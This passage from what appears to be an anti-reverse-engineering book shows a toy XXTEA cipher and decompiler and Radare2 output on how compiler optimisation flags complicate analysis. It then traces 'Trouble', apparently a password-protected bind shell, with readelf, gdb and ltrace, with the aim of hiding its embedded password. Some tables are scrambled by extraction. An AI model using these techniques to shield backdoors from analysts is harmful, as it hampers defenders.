shell. The usefulness of optimization as an anti-reverse engineering tool is best shown
with cryptographic algorithms and itll be a couple of chapters until add add any real
cryptography to Trouble.
Therefore, Ive implemented the Corrected Block Tiny Encryption Algorithm (aka
XXTEA) in C. My implementation is based on the reference code found on the
https://gcc.gnu.org/onlinedocs/gcc/Optimize-Options.html
https://gcc.gnu.org/onlinedocs/gcc/Optimize-Options.html
https://gcc.gnu.org/onlinedocs/gcc/Optimize-Options.html
http://cppcheck.sourceforge.net/
http://valgrind.org/
https://en.wikipedia.org/wiki/XXTEA

Chapter 2: Compiler Options

algorithms Wikipedia page. XXTEA will be a good example program because, as

the name says, its quite tiny!
Youll find the source for XXTEA in the chapter two directory under the directory
named tea. Like Trouble, tea uses CMake to compile. There are only two files in
this project: tea.c and CMakeLists.txt.
chap_2_compiler/tea/CMakeLists.txt
project(tea C)
cmake_minimum_required(VERSION 3.0)
set(CMAKE_C_FLAGS "-Wall -Wextra -Wshadow -std=gnu11")
add_executable(${PROJECT_NAME} src/tea.c)

chap_2_compiler/tea/src/tea.c
#include
#include
#include
#include

<stdint.h>
<stdlib.h>
<string.h>
<stdio.h>

/**
* This is an implementation of Corrected Block Tiny Encryption Algorithm (aka
* XXTEA). XXTEA is a simple block cipher designed by David Wheeler and Roger
* Needham that addressed issues in the original BTEA implementation. The
* algorithm was first published in 1998.
*
* The code is based off of the reference code which you can easily find on
* wikipedia: https://en.wikipedia.org/wiki/XXTEA
*
* Note: Do not try to secure your data with this algorithm. This is just a
* toy to illustrate the affects of optimization on code.
*/
#define DELTA 0x9e3779b9
#define MX (((z>>5^y<<2) + (y>>3^z<<4)) ^ ((sum^y) + (key[(p&3)^e] ^ z)))
void btea_encrypt(uint32_t *v, int n, uint32_t const key[4])
{
uint32_t sum = 0;

Chapter 2: Compiler Options

for (unsigned rounds = 6 + 52/n; rounds > 0; --rounds)
{
uint32_t z = v[n-1];
uint32_t y = 0;
unsigned p = 0;
sum += 0x9e3779b9;
unsigned e = (sum >> 2) & 3;
for ( ; (int)p < n - 1; p++)
{
y = v[p+1];
v[p] += MX;
z = v[p];
}
y = v[0];
v[n - 1] += MX;
z = v[n - 1];
}
}
void btea_decrypt(uint32_t *v, int n, uint32_t const key[4])
{
unsigned rounds = 6 + 52/n;
uint32_t sum = rounds * DELTA;
uint32_t y = v[0];
uint32_t z = 0;
do
{
unsigned e = (sum >> 2) & 3;
unsigned p = n - 1;
for ( ; p > 0; p--)
{
z = v[p-1];
y = v[p] -= MX;
}
sum -= DELTA;
z = v[n-1];
y = v[0] -= MX;
}
while (--rounds);
}

Chapter 2: Compiler Options

int main()
{
char data[] = "abcfefghilmno123";
uint32_t orig_len = strlen(data);
printf("plaintext: ");
if ((orig_len % sizeof(uint32_t)) != 0)
{
printf("Bad size: %lu\n", (orig_len % sizeof(uint32_t)));
return EXIT_FAILURE;
}
for (size_t i = 0; i < orig_len; i++)
{
printf("0x%02x ", (data[i] & 0xff));
}
printf("\n");
uint32_t key[4] = { 0x4a, 0x61, 0x63, 0x6b };
uint32_t len = strlen(data);
len = len / sizeof(uint32_t);
printf("encrypted: ");
btea_encrypt((uint32_t*)data, len, key);
for (size_t i = 0; i < orig_len; i++)
{
printf("0x%02x ", (data[i] & 0xff));
}
printf("\n");
}

To compile tea follow the same steps that you would for Trouble.

Chapter 2: Compiler Options

Building tea
albino-lobster@ubuntu:~/antire_book$ cd chap_2_compiler/tea/
albino-lobster@ubuntu:~/antire_book/chap_2_compiler/tea$ mkdir build
albino-lobster@ubuntu:~/antire_book/chap_2_compiler/tea$ cd build/
albino-lobster@ubuntu:~/antire_book/chap_2_compiler/tea/build$ cmake ..
-- The C compiler identification is GNU 5.4.0
-- Check for working C compiler: /usr/bin/cc
-- Check for working C compiler: /usr/bin/cc -- works
-- Detecting C compiler ABI info
-- Detecting C compiler ABI info - done
-- Detecting C compile features
-- Detecting C compile features - done
-- Configuring done
-- Generating done
-- Build files have been written to: /home/albino-lobster/antire_book/chap_2_compiler\
/tea/build
albino-lobster@ubuntu:~/antire_book/chap_2_compiler/tea/build$ make
Scanning dependencies of target tea
[ 50%] Building C object CMakeFiles/tea.dir/src/tea.c.o
[100%] Linking C executable tea
[100%] Built target tea
albino-lobster@ubuntu:~/antire_book/chap_2_compiler/tea/build$ ./tea
plaintext: 0x61 0x62 0x63 0x66 0x65 0x66 0x67 0x68 0x69 0x6c 0x6d 0x6e 0x6f 0x31 0x32\
0x33
encrypted: 0xce 0x8c 0x17 0xa2 0x46 0xf6 0x52 0x54 0x0a 0xed 0xe9 0x82 0xf7 0x27 0x40\
0xfd
albino-lobster@ubuntu:~/antire_book/chap_2_compiler/tea/build$

As you can see from the above, tea doesnt do a whole lot. It writes out the hex version
of abcfefghilmno123 unencrypted and encrypted. However, the functionality of
tea is not the focus here. I want to show you how optimization effects the function
btea_encrypt().
In this section, well be using Hoppers decompiler to view btea_encrypt(). There are
two reasons for this:
1. A decompiler is a really nice feature that you wont often find for free.
2. The disassembly for btea_encrypt() at the -O3 optimization level would take a
few pages so its best to view it in C.

Chapter 2: Compiler Options

First, lets get an idea of how large unoptimized btea_encrypt() is by looking at it in

Radare2.
Size of unoptimized btea_encrypt
albino-lobster@ubuntu:~/antire_book/chap_2_compiler/tea/build$ radare2 ./tea
-- Invert the block bytes using the 'I' key in visual mode
[0x004007f0]> aaa
[x] Analyze all flags starting with sym. and entry0 (aa)
[x] Analyze len bytes of instructions for references (aar)
[x] Analyze function calls (aac)
[ ] [*] Use -AA or aaaa to perform additional experimental analysis.
[x] Constructing a function name for fcn.* and sym.func.* functions (aan))
[0x004007f0]> pdf @ sym.btea_encrypt
/ (fcn) sym.btea_encrypt 472

As you can see, the size of btea_encrypt() without any optimizations is 472 bytes.
This information will be useful when we look at the optimizated versions.
When decompiled by Hopper the function looks like this:
Decompiled unoptimized btea_encrypt()
int btea_encrypt(int arg0, int arg1, int arg2) {
var_28 = arg0;
var_2C = arg1;
var_38 = arg2;
var_18 = 0x0;
rax = 0x34 / var_2C + 0x6;
for (var_14 = rax; var_14 != 0x0; var_14 = var_14 - 0x1) {
var_10 = *(int32_t *)(var_28 + (sign_extend_32(var_2C) << 0x2) +
0xfffffffffffffffc);
var_C = 0x0;
var_18 = var_18 - 0x61c88647;
var_4 = var_18 >> 0x2 & 0x3;
while (var_2C + 0xffffffffffffffff > var_C) {
var_8 = *(int32_t *)(var_28 + (var_C + 0x1) * 0x4);
*(int32_t *)(var_C * 0x4 + var_28) = ((*(int32_t *)(var_38 +
(var_C & 0x3 ^ var_4) * 0x4) ^ var_10) + (var_18 ^ var_8) ^
(var_10 >> 0x5 ^ var_8 << 0x2) + (var_10 << 0x4 ^ var_8 >> 0x3)) +
*(int32_t *)(var_28 + var_C * 0x4);
var_10 = *(int32_t *)(var_28 + var_C * 0x4);

Chapter 2: Compiler Options

var_C = var_C + 0x1;

}
var_8 = *(int32_t *)var_28;
*(int32_t *)(var_28 + (sign_extend_32(var_2C) << 0x2) +
0xfffffffffffffffc) = ((*(int32_t *)(var_38 +
(var_C & 0x3 ^ var_4) * 0x4) ^ var_10) + (var_18 ^ var_8) ^
(var_10 >> 0x5 ^ var_8 << 0x2) + (var_10 << 0x4 ^ var_8 >> 0x3)) +
*(int32_t *)(var_28 + (sign_extend_32(var_2C) << 0x2) +
0xfffffffffffffffc);
rax = *(int32_t *)(var_28 + (sign_extend_32(var_2C) << 0x2) +
0xfffffffffffffffc);
}
return rax;
}

For those not familiar with decompilers, Im sure your response to the decompiled
C is simply whoa. Yes, it is quite ugly. However, given that btea_encrypt relies on
this macro:
#define MX (((z>>5^y<<2) + (y>>3^z<<4)) ^ ((sum^y) + (key[(p&3)^e] ^ z)))

The above code is fairly reasonable.

-Os
Now lets play with the optimization options. Sometimes its useful to generate the
smallest binary possible. -Os is useful for this because, as previously mentioned, the
optimizations it does emphasize a smaller binary. To compile tea with -Os just add
it to the compiler flags:
set(CMAKE_C_FLAGS "-Wall -Wextra -Wshadow -Os -std=gnu11")

After recompiling with -Os and looking at btea_encrypt() in Radare2 youll see that
the function is much smaller now.

Chapter 2: Compiler Options

Size of the -Os version of btea_encrypt()

albino-lobster@ubuntu:~/antire_book/chap_2_compiler/tea/build$ radare2 ./tea
-- THIS IS NOT A BUG
[0x00400910]> aaa
[x] Analyze all flags starting with sym. and entry0 (aa)
[x] Analyze len bytes of instructions for references (aar)
[x] Analyze function calls (aac)
[ ] [*] Use -AA or aaaa to perform additional experimental analysis.
[x] Constructing a function name for fcn.* and sym.func.* functions (aan))
[0x00400910]> pdf @ sym.btea_encrypt
/ (fcn) sym.btea_encrypt 216

The size of btea_encrypt dropped from 472 bytes to 216! Thats pretty impressive.
How does it look in Hoppers decompiler?
Decompiled -Os version of btea_encrypt()
int btea_encrypt(int arg0, int arg1, int arg2) {
rdi = arg0;
r10 = arg2;
stack[2047] = r13;
stack[2046] = r12;
stack[2045] = rbp;
stack[2044] = rbx;
rsp = rsp - 0x8 - 0x8 - 0x8 - 0x8;
rsi = arg1 - 0x1;
r11 = rdi + sign_extend_64(arg1) * 0x4 + 0xfffffffffffffffc;
rdx = 0x0;
rax = 0x34 / arg1 + 0x6;
while (rax != 0x0) {
rdx = rdx - 0x61c88647;
rcx = *(int32_t *)r11;
r8 = 0x0;
rbp = rdx >> 0x2;
do {
r9 = r8;
if (rsi <= r8) {
break;
}
r9 = *(int32_t *)(rdi + r8 * 0x4 + 0x4);
rcx = ((rcx >> 0x5 ^ r9 * 0x4) + (r9 >> 0x3 ^ rcx << 0x4) ^

Chapter 2: Compiler Options

((int32_t )(r10 + ((rbp ^ r8) & 0x3) * 0x4) ^ rcx) +

(rdx ^ r9)) + *(int32_t *)(rdi + r8 * 0x4);
*(int32_t *)(rdi + r8 * 0x4) = rcx;
r8 = r8 + 0x1;
} while (true);
r8 = *(int32_t *)rdi;
rax = rax - 0x1;
*(int32_t *)r11 = *(int32_t *)r11 + ((rcx >> 0x5 ^ r8 * 0x4) +
(r8 >> 0x3 ^ rcx << 0x4) ^ (*(int32_t *)(r10 + ((rbp ^ r9) &
0x3) * 0x4) ^ rcx) + (rdx ^ r8));
}
return rax;
}

I dont think it looks too signficantly different from the unoptimized version.
However, I would say that this version looks more like the original source code.
Also, you have to consider that less disassembly is better for a reverse engineer. Less
disassembly means fewer lines that need to be understood. This is something you
should keep in mind when optimizing your code for size. Does the benefit of the
smaller code outway the fact that the reverse engineers life is made a little easier?

-O3
-O3 is the second highest optimization level. The highest level, -Ofast, enables some
non-standards compliant optimazations so I generally avoid it. Unlike -Os, -O3 will
not shrink your binary. In fact, it has some optimizations that could make your binary
much larger (for example, -finline-functions).
To build with -O3 you need to change teas compile flags to look like this:
set(CMAKE_C_FLAGS "-Wall -Wextra -Wshadow -O3 -std=gnu11")

After building the -O3 version of tea then load it into Radare2 and check out the new
size of btea_encrypt().

Chapter 2: Compiler Options

Finding the size of -O3 btea_encrypt() in Radare2

albino-lobster@ubuntu:~/antire_book/chap_2_compiler/tea/build$ radare2 ./tea
-- Have you setup your ~/.radare2rc today?
[0x00400920]> aaa
[x] Analyze all flags starting with sym. and entry0 (aa)
[x] Analyze len bytes of instructions for references (aar)
[x] Analyze function calls (aac)
[ ] [*] Use -AA or aaaa to perform additional experimental analysis.
[x] Constructing a function name for fcn.* and sym.func.* functions (aan))
[0x00400920]> pdf @ sym.btea_encrypt
/ (fcn) sym.btea_encrypt 508

The new size of btea_encrypt(), 508 bytes, is not much bigger than the original size
472 bytes. However, the decompiled code is more complicated.
Decompiled -O3 btea_encrypt()
int btea_encrypt(int arg0, int arg1, int arg2, int arg3, int arg4) {
rsi = arg1;
rdi = arg0;,
stack[2047] = r15;
stack[2046] = r14;
stack[2045] = r13;
stack[2044] = r12;
stack[2043] = rbp;
rbp = arg2;
rax = 0x34 / rsi;
rsp = rsp - 0x8 - 0x8 - 0x8 - 0x8 - 0x8 - 0x8;
stack[2042] = rsi;
if (rax != 0xfffffffa) {
r13 = rsi + 0xffffffffffffffff;
r14 = rsi + 0xfffffffffffffffe;
r11 = 0x0;
do {
r11 = r11 - 0x61c88647;
rbx = r11 >> 0x2;
rax = *(int32_t *)stack[2042];
if (r13 > 0x0) {
if (var_-4 > 0x3) {
rdx = *(int32_t *)rdi;
r9 = rdi + 0x4;

Chapter 2: Compiler Options

r12 = 0x1;
r8 = 0x0;
do {
rsi = *(int32_t *)r9;
rcx = rbx ^ r8;
r8 = r8 + 0x2;
r9 = r9 + 0x8;
rcx = ((rax >> 0x5 ^ rsi * 0x4) + (rsi >> 0x3 ^ rax << 0x4) ^
(r11 ^ rsi) + (*(int32_t *)(rbp + (rcx & 0x3) * 0x4) ^
rax)) + rdx;
rdx = *(int32_t *)(r9 + 0xfffffffffffffffc);
rax = rbx ^ r12;
r12 = r12 + 0x2;
*(int32_t *)(r9 + 0xfffffffffffffff4) = rcx;
rax = ((rcx << 0x4 ^ rdx >> 0x3) + (rcx >> 0x5 ^ rdx * 0x4) ^
(*(int32_t *)(rbp + (rax & 0x3) * 0x4) ^ rcx) + (r11 ^
rdx)) + rsi;
*(int32_t *)(r9 + 0xfffffffffffffff8) = rax;
} while (r12 < r14);
}
else {
r8 = 0x0;
}
do {
rsi = rdi + r8 * 0x4;
rcx = r8 + 0x1;
r9 = *(int32_t *)(rbp + ((r8 ^ rbx) & 0x3) * 0x4);
rdx = *(int32_t *)(rdi + (r8 + 0x1) * 0x4);
r8 = rcx;
rax = ((rax << 0x4 ^ rdx >> 0x3) + (rax >> 0x5 ^ rdx * 0x4) ^
(r9 ^ rax) + (r11 ^ rdx)) + *(int32_t *)rsi;
*(int32_t *)rsi = rax;
} while (rcx < r13);
rcx = r13;
rsi = *(int32_t *)stack[2042];
}
else {
rsi = rax;
rcx = 0x0;
}
rdx = *(int32_t *)rdi;
rax = ((*(int32_t *)(rbp + ((rbx ^ rcx) & 0x3) * 0x4) ^ rax) + (r11 ^
rdx) ^ (rdx >> 0x3 ^ rax << 0x4) + (rax >> 0x5 ^ rdx * 0x4)) + rsi;

Chapter 2: Compiler Options

(int32_t )stack[2042] = rax;

} while (r11 != var_-8);
}
return rax;
}

There really isnt much more to say. Higher optimization levels can generate more
complicated code.

-funroll-loops
If the goal is to produce increasingly long and complicated code then -funroll-loops
is useful. -funroll-loops will unroll or undo the looping structure of any loop whose
iterations can be determined at compile time.
Building on the previous section, you should add -funroll-loops right after -O3.
set(CMAKE_C_FLAGS "-Wall -Wextra -Wshadow -O3 -funroll-loops -std=gnu11")

Now if you recompile and look at the size of btea_encrypt() in Radare2 youll see
that the function has ballooned to 800 bytes!
Size of -O3 -funroll-loops btea_encrypt()
albino-lobster@ubuntu:~/antire_book/chap_2_compiler/tea/build$ radare2 ./tea
-- Learn pancake as if you were radare!
[0x00400ad0]> aaa
[x] Analyze all flags starting with sym. and entry0 (aa)
[x] Analyze len bytes of instructions for references (aar)
[x] Analyze function calls (aac)
[ ] [*] Use -AA or aaaa to perform additional experimental analysis.
[x] Constructing a function name for fcn.* and sym.func.* functions (aan))
[0x00400ad0]> pdf @ sym.btea_encrypt
/ (fcn) sym.btea_encrypt 800

The decompiled code is signficantly more complicated than the original.

Chapter 2: Compiler Options

Decompiled -O3 -funroll-loops btea_encrypt()

int btea_encrypt(int arg0, int arg1, int arg2) {
rsi = arg1;
rdi = arg0;
stack[2047] = r15;
stack[2046] = r14;
stack[2045] = r13;
stack[2044] = r12;
stack[2043] = rbp;
rbp = arg2;
rax = 0x34 / rsi;
stack[2042] = rbx;
rsp = rsp - 0x8 - 0x8 - 0x8 - 0x8 - 0x8 - 0x8;
if (rax != 0xfffffffa) {
r12 = rsi + 0xffffffffffffffff;
r11 = 0x0;
stack[2042] = rsi + 0xfffffffffffffffe;
do {
r11 = r11 - 0x61c88647;
rsi = r11 >> 0x2;
rax = *(int32_t *)stack[2042];
if (r12 > 0x0) {
if (var_-8 > 0x3) {
rdx = *(int32_t *)rdi;
rbx = stack[2042];
r10 = rdi + 0x4;
r13 = 0x1;
rcx = 0x0;
do {
r9 = *(int32_t *)r10;
r14 = rsi ^ rcx;
r10 = r10 + 0x8;
rcx = rcx + 0x2;
r8 = (r11 ^ r9) + (*(int32_t *)(rbp + (r14 & 0x3) * 0x4) ^
rax);
r15 = rsi ^ r13;
r13 = r13 + 0x2;
r8 = ((rax >> 0x5 ^ r9 * 0x4) + (r9 >> 0x3 ^ rax << 0x4) ^
r8) + rdx;
rdx = *(int32_t *)(r10 + 0xfffffffffffffffc);
*(int32_t *)(r10 + 0xfffffffffffffff4) = r8;
rax = ((r8 << 0x4 ^ rdx >> 0x3) + (r8 >> 0x5 ^ rdx * 0x4) ^

Chapter 2: Compiler Options

((int32_t )(rbp + (r15 & 0x3) * 0x4) ^ r8) +

(r11 ^ rdx)) + r9;
*(int32_t *)(r10 + 0xfffffffffffffff8) = rax;
} while (r13 < rbx);
}
else {
rcx = 0x0;
}
r14 = rcx + 0x1;
r8 = *(int32_t *)(rdi + r14 * 0x4);
rdx = r14;
r9 = !rcx + r12 & 0x1;
rax = ((r8 >> 0x3 ^ rax << 0x4) + (r8 << 0x2 ^ rax >> 0x5) ^
(r11 ^ r8) + (*(int32_t *)(rbp + ((rsi ^ rcx) & 0x3) * 0x4)
^ rax)) + *(int32_t *)(rdi + rcx * 0x4);
*(int32_t *)(rdi + rcx * 0x4) = rax;
if (r14 < r12) {
if (r9 != 0x0) {
r8 = *(int32_t *)(rdi + (rcx + 0x2) * 0x4);
rdx = (r11 ^ r8) + (*(int32_t *)(rbp + ((rdx ^ rsi) &
0x3) * 0x4) ^ rax) ^ (rax >> 0x5 ^ r8 << 0x2) +
(r8 >> 0x3 ^ rax << 0x4);
rax = *(int32_t *)(rdi + r14 * 0x4);
rax = rax + rdx;
rdx = rcx + 0x2;
*(int32_t *)(rdi + r14 * 0x4) = rax;
if (rcx + 0x2 < r12) {
do {
r10 = rdi + rdx * 0x4;
rbx = *(int32_t *)(rdi + (rdx + 0x1) * 0x4);
r9 = rdi + (rdx + 0x1) * 0x4;
r8 = (rdx + 0x1 ^ rsi) & 0x3;
r15 = ((r11 ^ rbx) + (*(int32_t *)(rbp + ((rsi ^
rdx) & 0x3) * 0x4) ^ rax) ^ (rax >> 0x5 ^ rbx
<< 0x2) + (rbx >> 0x3 ^ rax << 0x4)) +
*(int32_t *)r10;
rax = rdx + 0x2;
rdx = rdx + 0x2;
*(int32_t *)r10 = r15;
r10 = *(int32_t *)(rdi + rax * 0x4);
rax = ((r11 ^ r10) + (*(int32_t *)(rbp + r8 * 0x4)
^ r15) ^ (r15 >> 0x5 ^ r10 << 0x2) + (r10 >> 0x3
^ r15 << 0x4)) + *(int32_t *)r9;

Chapter 2: Compiler Options

*(int32_t *)r9 = rax;
} while (rdx < r12);

}
}
else {
do {
r10 = rdi + rdx * 0x4;
rbx = *(int32_t *)(rdi + (rdx + 0x1) * 0x4);
r9 = rdi + (rdx + 0x1) * 0x4;
r8 = (rdx + 0x1 ^ rsi) & 0x3;
r15 = ((r11 ^ rbx) + (*(int32_t *)(rbp + ((rsi ^ rdx) &
0x3) * 0x4) ^ rax) ^ (rax >> 0x5 ^ rbx << 0x2) +
(rbx >> 0x3 ^ rax << 0x4)) + *(int32_t *)r10;
rax = rdx + 0x2;
rdx = rdx + 0x2;
*(int32_t *)r10 = r15;
r10 = *(int32_t *)(rdi + rax * 0x4);
rax = ((r11 ^ r10) + (*(int32_t *)(rbp + r8 * 0x4) ^
r15) ^ (r15 >> 0x5 ^ r10 << 0x2) + (r10 >> 0x3 ^
r15 << 0x4)) + *(int32_t *)r9;
*(int32_t *)r9 = rax;
} while (rdx < r12);
}
}
r13 = r12;
r10 = *(int32_t *)stack[2042];
}
else {
r10 = rax;
r13 = 0x0;
}
r15 = *(int32_t *)rdi;
r8 = rax >> 0x5;
rsi = *(int32_t *)(rbp + ((rsi ^ r13) & 0x3) * 0x4);
rsi = rsi ^ rax;
rax = rax << 0x4;
*(int32_t *)stack[2042] = (rsi + (r11 ^ r15) ^ (r15 >> 0x3 ^ rax) +
(r8 ^ r15 * 0x4)) + r10;
} while (r11 != var_-12);
}
return rax;
}

Chapter 2: Compiler Options

Consider what youve done to the reverse engineer that needs to understand btea_encrypt(). Using -O3 -funroll-loops has nearly doubled the size of the function.
Also, there are more loops and more branching than the original version. Simply by
using the optimization flags available youve increased the work a reverse engineer
will have to do to fully understand this function.

-static
In the previous sections, you learned a number of ways to easily extract the contents
of s_password to gain access to Trouble. However, youve also learned how to use the
compiler options to defeat these s_password extraction techniques. In this section,
youll learn about one last flag to hide s_password from prying eyes.

Resolving Functions at Runtime

Its important to understand that Trouble resolves external dependencies at runtime.
Consider the remaining dynamic symbols that Trouble has.
Troubles dynamic symbols
albino-lobster@ubuntu:~/antire_book/chap_2_compiler/trouble/build$ readelf --dyn-syms\
trouble
Symbol table '.dynsym' contains 31 entries:
Num:
Value
Size Type
Bind
0: 0000000000000000
0 NOTYPE LOCAL
1: 0000000000000000
0 NOTYPE WEAK
2: 0000000000000000
0 FUNC
GLOBAL
3: 0000000000000000
0 FUNC
GLOBAL
4: 0000000000000000
0 FUNC
GLOBAL
5: 0000000000000000
0 FUNC
GLOBAL
6: 0000000000000000
0 FUNC
GLOBAL
7: 0000000000000000
0 FUNC
GLOBAL
8: 0000000000000000
0 FUNC
GLOBAL
9: 0000000000000000
0 NOTYPE WEAK
10: 0000000000000000
0 FUNC
GLOBAL
11: 0000000000000000
0 FUNC
GLOBAL
12: 0000000000000000
0 FUNC
GLOBAL

Ndx
UND
UND
UND
UND
UND
UND
UND
UND
UND
UND
UND
UND
UND

Name
_ITM_deregisterTMCloneTab
__stack_chk_fail@GLIBC_2.4 (2)
dup2@GLIBC_2.2.5 (3)
close@GLIBC_2.2.5 (3)
read@GLIBC_2.2.5 (3)
__libc_start_main@GLIBC_2.2.5 (3)
memcmp@GLIBC_2.2.5 (3)
execve@GLIBC_2.2.5 (3)
__gmon_start__
listen@GLIBC_2.2.5 (3)
bind@GLIBC_2.2.5 (3)
perror@GLIBC_2.2.5 (3)

Chapter 2: Compiler Options

13:
14:
15:
16:
17:
18:
19:
20:
21:
22:
23:
24:
25:
26:
27:
28:
29:
30:

0000000000000000
0000000000000000
0000000000000000
0000000000000000
0000000000000000
0000000000000000
0000000000602098
0000000000602088
00000000006020b0
0000000000602088
0000000000400da0
0000000000400d20
0000000000400c00
0000000000602098
0000000000400918
00000000006020a0
0000000000400d90
0000000000400d94

0
0
0
0
0
0
0
0
0
0
4
101
42
0
0
8
2
0

NOTYPE
FUNC
FUNC
NOTYPE
FUNC
FUNC
NOTYPE
NOTYPE
NOTYPE
NOTYPE
OBJECT
FUNC
FUNC
NOTYPE
FUNC
OBJECT
FUNC
FUNC

WEAK
GLOBAL
GLOBAL
WEAK
GLOBAL
GLOBAL
GLOBAL
GLOBAL
GLOBAL
WEAK
GLOBAL
GLOBAL
GLOBAL
GLOBAL
GLOBAL
GLOBAL
GLOBAL
GLOBAL

UND _Jv_RegisterClasses
UND accept@GLIBC_2.2.5 (3)
UND fwrite@GLIBC_2.2.5 (3)
UND _ITM_registerTMCloneTable
UND fork@GLIBC_2.2.5 (3)
UND socket@GLIBC_2.2.5 (3)
25 _edata
25 __data_start
26 _end
25 data_start
16 _IO_stdin_used
14 __libc_csu_init
14 _start
26 __bss_start
11 _init
26 stderr@GLIBC_2.2.5 (3)
14 __libc_csu_fini
15 _fini

Notice all of the GLOBAL FUNC symbols that are labeled as undefined (UND) and
have a value of 0? These are functions whose implementations exist in external
libraries that wont be loaded until runtime. Another way to find the functions that
need to be loaded is to look at the binarys relocation information in readelf.
Troubles relocations
albino-lobster@ubuntu:~/antire_book/chap_2_compiler/trouble/build$ readelf -r ./troub\
le
Relocation section '.rela.dyn' at offset 0x798 contains 2 entries:
Offset
Type
Sym. Value
Sym. Name + Addend
000000601ff8 R_X86_64_GLOB_DAT 0000000000000000 __gmon_start__ + 0
0000006020a0 R_X86_64_COPY
00000000006020a0 stderr@GLIBC_2.2.5 + 0
Relocation section '.rela.plt' at offset 0x7c8 contains 14 entries:
Offset
Type
Sym. Value
Sym. Name + Addend
000000602018 R_X86_64_JUMP_SLO 0000000000000000 __stack_chk_fail@GLIBC_2.4 + 0
000000602020 R_X86_64_JUMP_SLO 0000000000000000 dup2@GLIBC_2.2.5 + 0
000000602028 R_X86_64_JUMP_SLO 0000000000000000 close@GLIBC_2.2.5 + 0
000000602030 R_X86_64_JUMP_SLO 0000000000000000 read@GLIBC_2.2.5 + 0
000000602038 R_X86_64_JUMP_SLO 0000000000000000 __libc_start_main@GLIBC_2.2.5 + 0

Chapter 2: Compiler Options

000000602040
000000602048
000000602050
000000602058
000000602060
000000602068
000000602070
000000602078
000000602080

R_X86_64_JUMP_SLO
R_X86_64_JUMP_SLO
R_X86_64_JUMP_SLO
R_X86_64_JUMP_SLO
R_X86_64_JUMP_SLO
R_X86_64_JUMP_SLO
R_X86_64_JUMP_SLO
R_X86_64_JUMP_SLO
R_X86_64_JUMP_SLO

0000000000000000
0000000000000000
0000000000000000
0000000000000000
0000000000000000
0000000000000000
0000000000000000
0000000000000000
0000000000000000

memcmp@GLIBC_2.2.5
execve@GLIBC_2.2.5
listen@GLIBC_2.2.5
bind@GLIBC_2.2.5 +
perror@GLIBC_2.2.5
accept@GLIBC_2.2.5
fwrite@GLIBC_2.2.5
fork@GLIBC_2.2.5 +
socket@GLIBC_2.2.5

+
+
+
0
+
+
+
0
+

0
0
0
0
0
0
0

Look at memcmp(), one of the functions that needs to be loaded, in GDB before
Trouble has been started and after it has been started.
Examining memcmp() before libc.so is loaded
albino-lobster@ubuntu:~/antire_book/chap_2_compiler/trouble/build$ gdb ./trouble
GNU gdb (Ubuntu 7.11.1-0ubuntu1~16.04) 7.11.1
Copyright (C) 2016 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from ./trouble...(no debugging symbols found)...done.
(gdb) info address memcmp
Symbol "memcmp" is at 0x4009a0 in a file compiled without debugging.
(gdb) disas memcmp
Dump of assembler code for function memcmp@plt:
0x00000000004009a0 <+0>:
jmpq
*0x20169a(%rip)
# 0x602040
0x00000000004009a6 <+6>:
pushq $0x5
0x00000000004009ab <+11>:
jmpq
0x400940

In the GDB output above, Ive issued two commands info address memcmp and disas
memcmp. Notice that the result of each of these commands points to an address in

Chapter 2: Compiler Options

the PLT (procedure linkage table): 0x4009a0. However, if you reissue the commands
after Trouble has begun execution youll find that memcmp() now points into libc.so.
Examining memcmp() after libc.so is loaded
(gdb) info address memcmp
Symbol "memcmp" is at 0x7ffff7a9c180 in a file compiled without debugging.
(gdb) disas memcmp
Dump of assembler code for function memcmp:
0x00007ffff7a9c180 <+0>: mov
0x334ce9(%rip),%rdx # 0x7ffff7dd0e70
0x00007ffff7a9c187 <+7>: testl $0x200,0x80(%rdx)
0x00007ffff7a9c191 <+17>: jne
0x7ffff7a9c19b <memcmp+27>
0x00007ffff7a9c193 <+19>: lea
0x26(%rip),%rax # <__memcmp_sse2>
0x00007ffff7a9c19a <+26>: retq
0x00007ffff7a9c19b <+27>: testl $0x80000,0x80(%rdx)
0x00007ffff7a9c1a5 <+37>: je
0x7ffff7a9c1af <memcmp+47>
0x00007ffff7a9c1a7 <+39>: lea
0xdfab2(%rip),%rax # <__memcmp_sse4_1>
0x00007ffff7a9c1ae <+46>: retq
0x00007ffff7a9c1af <+47>: lea
0xe223a(%rip),%rax # <__memcmp_ssse3>
0x00007ffff7a9c1b6 <+54>: retq
End of assembler dump.

libc.so has been loaded into memory and Trouble now points to the memcmp()
implementation in the shared object.

ltrace
A reasonable person might believe that memcmp() might be used to compare the
password provided by the user and the password embedded in Trouble. In fact, you
can confirm this is the case by using a utility called ltrace.

ltrace
ltrace, or library tracer, is a utility that will display all of the dynamic
library calls that occur while the program is running.

Chapter 2: Compiler Options

Using ltrace on Trouble

albino-lobster@ubuntu:~/antire_book/chap_2_compiler/trouble/build$ ltrace -f ./troubl\
e
[pid 21490] __libc_start_main(0x400c2f, 1, 0x7ffe19798d48, 0x400e60 <unfinished ...>
[pid 21490] socket(2, 1, 6)
= 3
[pid 21490] htonl(0, 1, 6, 0x7f82e7aea9b7)
= 0
[pid 21490] htons(1270, 1, 6, 0x7f82e7aea9b7)
= 0xf604
[pid 21490] bind(3, 0x7ffe19798c20, 16, 0x7ffe19798c20)
= 0
[pid 21490] listen(3, 5, 16, 0x7f82e7aea507)
= 0
[pid 21490] accept(3, 0, 0, 0x7f82e7aea627)
= 4
[pid 21490] fork()
= 21492
[pid 21490] close(4 <unfinished ...>
[pid 21492] <... fork resumed> )
= 0
[pid 21490] <... close resumed> )
= 0
[pid 21492] read(4 <unfinished ...>
[pid 21490] accept(3, 0, 0, 0x7f82e7ad9d10 <unfinished ...>
[pid 21492] <... read resumed> , "looooooooooooooooooooooooooooool"..., 33) = 33
[pid 21492] memcmp(0x400f00, 0x7ffe19798c30, 32, 0x7f82e7ad9680)
